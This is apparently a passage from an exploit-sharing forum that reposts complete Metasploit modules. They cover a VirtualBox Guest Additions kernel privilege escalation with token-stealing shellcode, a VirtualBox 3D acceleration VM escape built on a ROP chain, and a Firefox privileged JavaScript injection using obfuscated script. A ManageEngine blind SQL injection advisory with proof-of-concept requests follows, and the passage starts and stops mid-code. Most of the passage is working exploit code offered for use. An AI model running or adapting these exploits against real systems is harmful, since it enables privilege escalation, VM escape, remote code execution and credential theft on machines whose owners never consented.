    print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
    unless execute_shellcode(payload.encoded, nil, proc['pid'])
      fail_with(Failure::Unknown, "Error while executing the payload")
    end
  end
 
end
 
# 464B0212DF47410A   1337day.com [2014-07-26]   D25B8EC9B0E002B6 #
 
VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation Exploit

Unspecified vulnerability in the Oracle VM VirtualBox component in Oracle Virtualization VirtualBox before 3.2.24, 4.0.26, 4.1.34, 4.2.26, and 4.3.12 allows local users to affect integrity and availability via unknown vectors related to Core.

A vulnerability within the VBoxGuest driver allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest Additions up to 4.3.10r93012.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
 
class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
 
  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
 
  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation',
      'Description'    => %q{
        A vulnerability within the VBoxGuest driver allows an attacker to inject memory they
        control into an arbitrary location they define. This can be used by an attacker to
        overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
        NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest
        Additions up to 4.3.10r93012.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
          'Jay Smith <jsmith[at]korelogic.com>' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          ['Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba,
              '_KPROCESS'  => "\x44",
              '_TOKEN'     => "\xc8",
              '_UPID'      => "\x84",
              '_APLINKS'   => "\x88"
            }
          ]
        ],
      'References'    =>
        [
          ['CVE', '2014-2477'],
          ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
        ],
      'DisclosureDate'=> 'Jul 15 2014',
      'DefaultTarget' => 0
    }))
 
  end
 
  def fill_memory(proc, address, length, content)
 
    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
 
    if not proc.memory.writable?(address)
      vprint_error("Failed to allocate memory")
      return nil
    else
      vprint_good("#{address} is now writable")
    end
 
    result = proc.memory.write(address, content)
 
    if result.nil?
      vprint_error("Failed to write contents to memory")
      return nil
    else
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end
 
    return address
  end
 
  def check
    if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
      return Exploit::CheckCode::Safe
    end
 
    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)
 
    os = sysinfo["OS"]
    unless (os =~ /windows xp.*service pack 3/i)
      return Exploit::CheckCode::Safe
    end
 
    file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys"
    unless file?(file_path)
      return Exploit::CheckCode::Unknown
    end
 
    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
 
    unless (major == 4)
      return Exploit::CheckCode::Safe
    end
 
    case minor
    when 0
      return Exploit::CheckCode::Vulnerable if build < 26
    when 1
      return Exploit::CheckCode::Vulnerable if build < 34
    when 2
      return Exploit::CheckCode::Vulnerable if build < 26
    when 3
      return Exploit::CheckCode::Vulnerable if build < 12
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    if is_system?
      fail_with(Exploit::Failure::None, 'Session is already elevated')
    end
 
    if sysinfo["Architecture"] =~ /wow64/i
      fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
    elsif sysinfo["Architecture"] =~ /x64/
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end
 
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
    end
 
    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
    end
 
    print_status("Disclosing the HalDispatchTable address...")
    hal_dispatch_table = find_haldispatchtable
    if hal_dispatch_table.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable")
    else
      print_good("Address successfully disclosed.")
    end
 
    print_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
 
    hal_base = hal_info[0]
    print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
    hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
 
    print_status("Storing the shellcode in memory...")
    this_proc = session.sys.process.open
 
    restore_ptrs =  "\x31\xc0"                                         # xor eax, eax
    restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V')        # mov dword ptr [nt!HalDispatchTable+0x4], eax
 
    kernel_shell = token_stealing_shellcode(target)
    kernel_shell_address = 0x1
 
    buf = "\x90" * 0x6000
    buf[0, 56] = "\x50\x00\x00\x00" * 14
    buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell
 
    result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    else
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end
 
    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0)
    session.railgun.kernel32.CloseHandle(handle)
 
    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
 
    print_status("Checking privileges after exploitation...")
 
    unless is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    else
      print_good("Exploitation successful!")
    end
 
    p = payload.encoded
    print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
    if execute_shellcode(p)
      print_good("Enjoy")
    else
      fail_with(Failure::Unknown, "Error while executing the payload")
    end
 
  end
 
end
 
# 1C5FFC1720EF7597   1337day.com [2014-08-14]   6DB12B4A3F354379 #
 
VirtualBox 3D Acceleration Virtual Machine Escape

This Metasploit module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a sequence of specially crafted of rendering messages, a virtual machine can exploit an out of bounds array access to corrupt memory and escape to the host. This Metasploit module has been tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  DEVICE               = '\\\\.\\VBoxGuest'
  INVALID_HANDLE_VALUE = 0xFFFFFFFF

  # VBOX HGCM protocol constants
  VBOXGUEST_IOCTL_HGCM_CONNECT    = 2269248
  VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
  VBOXGUEST_IOCTL_HGCM_CALL       = 2269256
  CONNECT_MSG_SIZE                = 140
  DISCONNECT_MSG_SIZE             = 8
  SET_VERSION_MSG_SIZE            = 40
  SET_PID_MSG_SIZE                = 28
  CALL_EA_MSG_SIZE                = 40
  VERR_WRONG_ORDER                = 0xffffffea
  SHCRGL_GUEST_FN_SET_PID         = 12
  SHCRGL_CPARMS_SET_PID           = 1
  SHCRGL_GUEST_FN_SET_VERSION     = 6
  SHCRGL_CPARMS_SET_VERSION       = 2
  SHCRGL_GUEST_FN_INJECT          = 9
  SHCRGL_CPARMS_INJECT            = 2
  CR_PROTOCOL_VERSION_MAJOR       = 9
  CR_PROTOCOL_VERSION_MINOR       = 1
  VMM_DEV_HGCM_PARM_TYPE_32_BIT   = 1
  VMM_DEV_HGCM_PARM_TYPE_64_BIT   = 2
  VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'VirtualBox 3D Acceleration Virtual Machine Escape',
      'Description'    => %q{
        This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
        vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
        sequence of specially crafted of rendering messages, a virtual machine can exploit an out
        of bounds array access to corrupt memory and escape to the host. This module has been
        tested successfully on Windows 7 SP1 (64 bits) as Host running  Virtual Box 4.3.6.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Francisco Falcon', # Vulnerability Discovery and PoC
          'Florian Ledoux', # Win 8 64 bits exploitation analysis
          'juan vazquez' # MSF module
        ],
      'Arch'           => ARCH_X86_64,
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Targets'        =>
        [
          [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
            {
              :messages => :target_virtualbox_436_win7_64
            }
          ]
        ],
      'Payload'        =>
        {
          'Space'       => 7000,
          'DisableNops' => true
        },
      'References'     =>
        [
          ['CVE', '2014-0983'],
          ['BID', '66133'],
          ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
          ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
          ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
        ],
      'DisclosureDate' => 'Mar 11 2014',
      'DefaultTarget'  => 0
    }))

  end

  def open_device
    r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)

    handle = r['return']

    if handle == INVALID_HANDLE_VALUE
      return nil
    end

    return handle
  end

  def send_ioctl(ioctl, msg)
    result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")

    if result["GetLastError"] != 0
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end

    unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end

    unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end

    result
  end

  def connect
    msg = "\x00" * CONNECT_MSG_SIZE

    msg[4, 4] = [2].pack("V")
    msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)

    if result.nil?
      return result
    end

    client_id = result["lpOutBuffer"][136, 4].unpack("V").first

    client_id
  end

  def disconnect
    msg = "\x00" * DISCONNECT_MSG_SIZE

    msg[4, 4] = [@client_id].pack("V")

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)

    result
  end

  def set_pid(pid)
    msg = "\x00" * SET_PID_MSG_SIZE

    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
    msg[4, 4]  = [@client_id].pack("V")  # u32ClientID
    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_PID].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
    msg[20, 4] = [pid].pack("V")

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

    result
  end

  def set_version
    msg = "\x00" * SET_VERSION_MSG_SIZE

    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
    msg[4, 4]  = [@client_id].pack("V") # u32ClientID
    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
    msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

    result
  end

  def trigger(buff_addr, buff_length)
    msg = "\x00" * CALL_EA_MSG_SIZE

    msg[4, 4] = [@client_id].pack("V")  # u32ClientID
    msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[20, 4] = [@client_id].pack("V") # u32ClientID
    msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
    msg[32, 4] = [buff_length].pack("V") # size_of(buf)
    msg[36, 4] = [buff_addr].pack("V") # (buf)

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

    result
  end

  def stack_adjustment
    pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00"  # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
    pivot << "\x89\xc4"                         # mov esp, eax                 # Store stack bottom in esp
    pivot << "\x81\xC4\x30\xF8\xFF\xFF"         # add esp, -2000               # Plus a little offset...

    pivot
  end

  def target_virtualbox_436_win7_64(message_id)
    opcodes = [0xFF, 0xea, 0x02, 0xf7]

    opcodes_hdr = [
      0x77474c01,    # type CR_MESSAGE_OPCODES
      0x8899,        # conn_id
      opcodes.length # numOpcodes
    ]

    if message_id == 2
      # Message used to achieve Code execution
      # See at the end of the module for a better description of the ROP Chain,
      # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
      # All gadgets from VBoxREM.dll
      opcodes_data = [0x8, 0x30, 0x331].pack("V*")

      opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
      opcodes_data << [112].pack("Q<") # RDX
      opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
      opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
      opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
      opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
      opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
      opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
      opcodes_data << Rex::Text.pattern_create(80)
      opcodes_data << [0].pack("Q<")          # 1st arg (lpAddress) # chain will store stack address here
      opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
      opcodes_data << [0x2000].pack("Q<")     # 2nd arg (dwSize)
      opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
      opcodes_data << [0x40].pack("V")        # 3rd arg (flNewProtect)
      opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
      opcodes_data << [0x6A70BB20].pack("V")  # ptr to jmp VirtualProtect instr.
      opcodes_data << "A" * 8
      opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
      opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
      opcodes_data << "\xe9\x5b\x02\x00\x00"  # jmp $+608
      opcodes_data << "A" * (624 - 24 - 5)
      opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
      opcodes_data << stack_adjustment
      opcodes_data << payload.encoded
      opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
    else
      # Message used to corrupt head_spu
      # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
      # 8196 => On my tests, this data size allows to keep the memory
      # not reused until the second packet arrives. The second packet,
      # of course, must have 8196 bytes length too. So this memory is
      # reused and code execution can be accomplished.
      opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
      opcodes_data << "B" * (8196 - opcodes_data.length)
    end

    msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data

    msg
  end

  def send_opcodes_msg(process, message_id)
    msg = self.send(target[:messages], message_id)

    mem = process.memory.allocate(msg.length + (msg.length % 1024))

    process.memory.write(mem, msg)

    trigger(mem, msg.length)
  end

  def check
    handle = open_device
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)

    Exploit::CheckCode::Detected
  end

  def exploit
    unless self.respond_to?(target[:messages])
      print_error("Invalid target specified: no messages callback function defined")
      return
    end

    print_status("Opening device...")
    @handle = open_device
    if @handle.nil?
      fail_with(Failure::NoTarget, "#{DEVICE} device not found")
    else
      print_good("#{DEVICE} found, exploiting...")
    end

    print_status("Connecting to the service...")
    @client_id = connect
    if @client_id.nil?
      fail_with(Failure::Unknown, "Connect operation failed")
    end

    print_good("Client ID #{@client_id}")

    print_status("Calling SET_VERSION...")
    result = set_version
    if result.nil?
      fail_with(Failure::Unknown, "Failed to SET_VERSION")
    end

    this_pid = session.sys.process.getpid
    print_status("Calling SET_PID...")
    result = set_pid(this_pid)
    if result.nil?
      fail_with(Failure::Unknown, "Failed to SET_PID")
    end

    this_proc = session.sys.process.open
    print_status("Sending First 0xEA Opcode Message to control head_spu...")
    result = send_opcodes_msg(this_proc, 1)
    if result.nil?
      fail_with(Failure::Unknown, "Failed to control heap_spu...")
    end

    print_status("Sending Second 0xEA Opcode Message to execute payload...")
    @old_timeout = session.response_timeout
    session.response_timeout = 5
    begin
      send_opcodes_msg(this_proc, 2)
    rescue Rex::TimeoutError
      vprint_status("Expected timeout in case of successful exploitation")
    end
  end

  def cleanup
    unless @old_timeout.nil?
      session.response_timeout = @old_timeout
    end

    if session_created?
      # Unless we add CoE there is nothing to do
      return
    end

    unless @client_id.nil?
      print_status("Disconnecting from the service...")
      disconnect
    end

    unless @handle.nil?
      print_status("Closing the device...")
      session.railgun.kernel32.CloseHandle(@handle)
    end
  end

end

=begin

* VirtualBox 4.3.6 / Windows 7 SP1 64 bits

Crash after second message:

0:013> dd rax
00000000`0e99bd44  41306141 61413161 33614132 41346141
00000000`0e99bd54  61413561 37614136 41386141 62413961
00000000`0e99bd64  31624130 41326241 62413362 35624134
00000000`0e99bd74  41366241 62413762 39624138 41306341
00000000`0e99bd84  63413163 33634132 41346341 63413563
00000000`0e99bd94  37634136 41386341 64413963 31644130
00000000`0e99bda4  41326441 64413364 35644134 41366441
00000000`0e99bdb4  64413764 39644138 41306541 65413165
0:013> r
rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
 r8=0000000000000001  r9=00000000000005c0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
r14=000007fef1f90000 r15=0000000002f6e280
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
000007fe`f12797f8 ff9070030000    call    qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541

Gadget 1: Stack Pivot # 0x6a682a2a

 xchg    eax,esp    94
 ret                c3

Gadget 2: Control RDX value # 0x6a68599a

 pop rdx                    5a
 xor ecx,dword ptr [rax]    33 08
 add cl,cl                  00 c9
 movzx eax,al               0f b6 c0
 ret                        c3

Gadget 3: Store ptr to RSP in RAX # 0x6a70a560

 lea rax,[rsp+8]            48 8d 44 24 08
 ret                        c3

Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c

 lea rax,[rdx+rax]          48 8d 04 02
 ret                        c3

Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6

 add dword ptr [rax],eax    01 00
 add cl,cl                  00 c9
 ret                        c3

Gadget 6: Control R12 # 0x6a68124e

pop r12
ret

Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d

 mov r9,r12                   4d 89 e1
 mov r8d,dword ptr [rsp+8Ch]  44 8b 84 24 8c 00 00 00
 mov rdx,qword ptr [rsp+68h]  48 8b 54 24 68
 mov rcx,qword ptr [rsp+50h]  48 8b 4c 24 50
 call rbp                     ff d5

Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560

 lea rax, [rsp+8]   48 8d 44 24 08
 ret                c3

 Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d

 push rax   50
 adc cl,ch  10 e9
 ret        c3

=end
 
Firefox toString console.time Privileged Javascript Injection

This Metasploit module gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rex/exploitation/jsobfu'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
  autopwn_info({
    :ua_name    => HttpClients::FF,
    :ua_minver  => "15.0",
    :ua_maxver  => "22.0",
    :javascript => true,
    :rank       => ExcellentRanking
  })
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox toString console.time Privileged Javascript Injection',
      'Description'    => %q{
        This exploit gains remote code execution on Firefox 15-22 by abusing two separate
        Javascript-related vulnerabilities to ultimately inject malicious Javascript code
        into a context running with chrome:// privileges.
      },
      'License' => MSF_LICENSE,
      'Author'  => [
        'moz_bug_r_a4', # discovered CVE-2013-1710
        'Cody Crews',   # discovered CVE-2013-1670
        'joev' # metasploit module
      ],
      'DisclosureDate' => "May 14 2013",
      'References' => [
        ['CVE', '2013-1670'], # privileged access for content-level constructor
        ['CVE', '2013-1710']  # further chrome injection
      ],
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => lambda { |ver| ver.to_i.between?(15, 22) }
      }
    ))
 
    register_options([
      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
    ], self.class)
  end
 
  def on_request_exploit(cli, request, target_info)
    send_response_html(cli, generate_html(target_info))
  end
 
  def generate_html(target_info)
    key = Rex::Text.rand_text_alpha(5 + rand(12))
    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
 
    js = Rex::Exploitation::JSObfu.new(%Q|
      var opts = #{JSON.unparse(opts)};
      var key = opts['#{key}'];
      var y = {}, q = false;
      y.constructor.prototype.toString=function() {
        if (q) return;
        q = true;
        crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");
        return 5;
      };
      console.time(y);
    |)
 
    js.obfuscate
 
    %Q|
      <!doctype html>
      <html>
        <body>
          <script>
            #{js}
          </script>
          #{datastore['CONTENT']}
        </body>
      </html>
    |
  end
end
 
ManageEngine Desktop Central / Password Manager Pro / IT360 SQL Injection

TL;DR
CVE-2014-3996 / CVE-2014-3997
Blind SQL injection in ManageEngine Desktop Central, Password Manager
Pro and IT360 (including MSP versions)
Scroll to the bottom for the Metasploit module link; the module will
be submitted to Metasploit proper in a pull request in the next few
days.

==========================================================================
>> Blind SQL injection in ManageEngine Desktop Central, Password Manager Pro and IT360 (including MSP versions)
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================

>> Background on the affected products:
"Desktop Central is an integrated desktop & mobile device management
software that helps in managing the servers, laptops, desktops,
smartphones and tablets from a central point. It automates your
regular desktop management routines like installing patches,
distributing software, managing your IT Assets, managing software
licenses, monitoring software usage statistics, managing USB device
usage, taking control of remote desktops, and more."

"Password Manager Pro is a secure vault for storing and managing
shared sensitive information such as passwords, documents and digital
identities of enterprises."

"Managing mission critical business applications is now made easy
through ManageEngine IT360. With agentless monitoring methodology,
monitor your applications, servers and databases with ease. Agentless
monitoring of your business applications enables you high ROI and low
TOC. With integrated network monitoring and bandwidth utilization,
quickly troubleshoot any performance related issue with your network
and assign issues automatically with ITIL based ServiceDesk
integration."

These products have managed service providers (MSP) versions which are
used to control the desktops and smartphones of several clients.
Quoting the author of the Internet Census 2012: "As a rule of thumb,
if you believe that "nobody would connect that to the Internet, really
nobody", there are at least 1000 people who did."
These vulnerabilities can be abused to achieve remote code execution
as SYSTEM in Windows or as the user in Linux. Needless to say, owning
a Desktop Central / IT360 box will give you control of all the
computers and smartphones it manages, while owning Password Manager
Pro will give you a treasure trove of passwords.

>> Technical details:
The two blind SQL injections described below have been present in
Desktop Central, Password Manager Pro and IT360 in all releases since
2006. They can only be triggered via a GET request, which means you
can only inject around 8000 characters at a time.

#1
Vulnerability:
Blind SQL injection in LinkViewFetchServlet (unauthenticated on DC/PMP
/ authenticated on IT360)
CVE-2014-3996

Affected products / versions:
- ManageEngine Desktop Central (DC) [MSP]: all versions from v4 up to
v9 build 90033
- ManageEngine Password Manager Pro (PMP) [MSP]: all versions from v5
to version 7 build 7002
- ManageEngine IT360 [MSP]: all versions from v8 to v10.1.1 build 10110
This affects all versions of the products released since 19-Apr-2006.
Other ManageEngine products might be affected.

Constraints:
- DC: no authentication or any other information needed
- PMP: no authentication or any other information needed
- IT360: valid user account needed

Proof of concept:

DC / PMP:
GET /LinkViewFetchServlet.dat?sv=[SQLi]

IT360:
GET /console/LinkViewFetchServlet.dat?sv=[SQLi]


#2
Vulnerability:
Blind SQL injection in MetadataServlet (unauthenticated on PMP /
authenticated on IT360)
CVE-2014-3997

Affected products / versions:
- ManageEngine Password Manager Pro (PMP) [MSP]: all versions from v5
to version 7 build 7003
- ManageEngine IT360 [MSP]: all versions from v8 to v10.1.1 build 10110
This affects all versions of the products released since 03-Apr-2008.
Other ManageEngine products might be affected.

Constraints:
- PMP: no authentication or any other information needed
- IT360: valid user account needed

Proof of concept:

PMP:
GET /MetadataServlet.dat?sv=[SQLi]

IT360:
GET /console/MetadataServlet.dat?sv=[SQLi]

==========================================================================
A full text version of this advisory can be found in my repo:
https://raw.githubusercontent.com/pedrib/Po..._it360_sqli.txt

A Metasploit module that exploits this vulnerability can also be found
in my repo:
https://raw.githubusercontent.com/pedrib/Po..._dc_pmp_sqli.rb

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
# TODO
# - add the refs, confirm the builds, etc
 
require 'msf/core'
require 'msf/core/exploit/file_dropper'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Password Manager Pro v6-v7 b7002 / Desktop Central v7-v9 b90033 SQL Injection",
      'Description'    => %q{
          This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
          which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
          Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
          SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
          the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
          or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
          with PostgreSQL you should find the web root path via other means and specify it with
          WEB_ROOT.
 
          The injection is only exploitable via a GET request, which means that the payload
          has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
          payloads and the use of exe-small is recommended, as you can only do between 10 and
          20 injections before using up all the available ManagedConnections until the next
          server restart.
 
          This vulnerability exists in all versions released since 2006, however builds below
